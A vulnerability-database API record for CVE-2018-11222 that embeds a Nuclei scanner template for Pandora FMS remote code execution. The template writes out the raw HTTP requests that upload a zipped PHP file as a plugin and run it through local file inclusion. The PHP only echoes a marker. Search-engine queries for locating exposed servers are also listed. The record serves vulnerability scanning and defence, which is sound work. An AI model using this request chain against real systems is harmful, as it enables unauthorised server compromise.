{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-11222/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-11222/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-11222/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-11222/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-11222/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-11222"},"sightings":{"href":"/api/v1/sightings/cve-2018-11222"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-11222.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2018-11222\n\ninfo:\n  name: Pandora FMS <=7.0NG.722 - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    Pandora FMS versions <=7.0NG.722 are vulnerable to unauthenticated remote code execution by chaining an unrestricted file upload (CVE-2018-11221) and a local file inclusion (CVE-2018-11222). An attacker can upload a malicious PHP file as a plugin and execute it via LFI, leading to full compromise of the server.\n  impact: |\n    Unauthenticated attackers can upload malicious PHP files and execute them via local file inclusion, leading to complete server compromise and access to all managed systems.\n  remediation: |\n    Upgrade to Pandora FMS version 7.0NG.723 or later.\n  reference:\n    - https://blog.hackercat.ninja/post/pandoras_box/\n    - https://github.com/pandorafms/pandorafms\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-11222\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-11222\n    cwe-id: CWE-20\n    epss-score: 0.06534\n    epss-percentile: 0.93495\n    cpe: cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: artica\n    product: pandora_fms\n    shodan-query:\n      - http.html:\"pandora fms - installation wizard\"\n      - http.title:\"pandora fms\"\n    fofa-query:\n      - body=\"pandora fms - installation wizard\"\n      - title=\"pandora fms\"\n    google-query: intitle:\"pandora fms\"\n  tags: cve,cve2018,rce,file-upload,lfi,pandora,intrusive,vkev,vuln\n\nvariables:\n  marker: \"{{randstr}}\"\n  b64marker: \"{{base64(marker)}}\"\n  filename: \"{{rand_base(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /pandora_console/ajax.php?page=include/ajax/update_manager.ajax&upload_file=true HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------Sh5BXowDBYvdaiPqkMSZas\n        Connection: keep-alive\n\n        --------------------------Sh5BXowDBYvdaiPqkMSZas\n        Content-Disposition: form-data; name=\"name\"\n\n        upfile\n        --------------------------Sh5BXowDBYvdaiPqkMSZas\n        Content-Disposition: form-data; name=\"filename\"\n\n        plugin.oum\n        --------------------------Sh5BXowDBYvdaiPqkMSZas\n        Content-Disposition: form-data; name=\"upfile\"; filename=\"plugin.oum\"\n        Content-Type: application/octet-stream\n\n        {{zip('plugin/phpinfo.php','<?php echo base64_decode(\\'{{b64marker}}\\'); ?>')}}\n        --------------------------Sh5BXowDBYvdaiPqkMSZas--\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"status\":\"success\"'\n          - '\"package\":\"'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: path\n        part: body\n        group: 1\n        regex:\n          - '\"package\":\"(.*?)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /pandora_console/ajax.php?page={{replace(path,\"\\\\\",\"\")}}/plugin/phpinfo HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{marker}}'\n# digest: 4a0a0047304502202a614ccd687988ef24a21dfb50426f72cd97a915899835784d6fe5ea94164ad8022100d40a2412c5c10295ead2d320374cb0eb810759d994f725aef76ec1170c0e6470:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2018-11222"}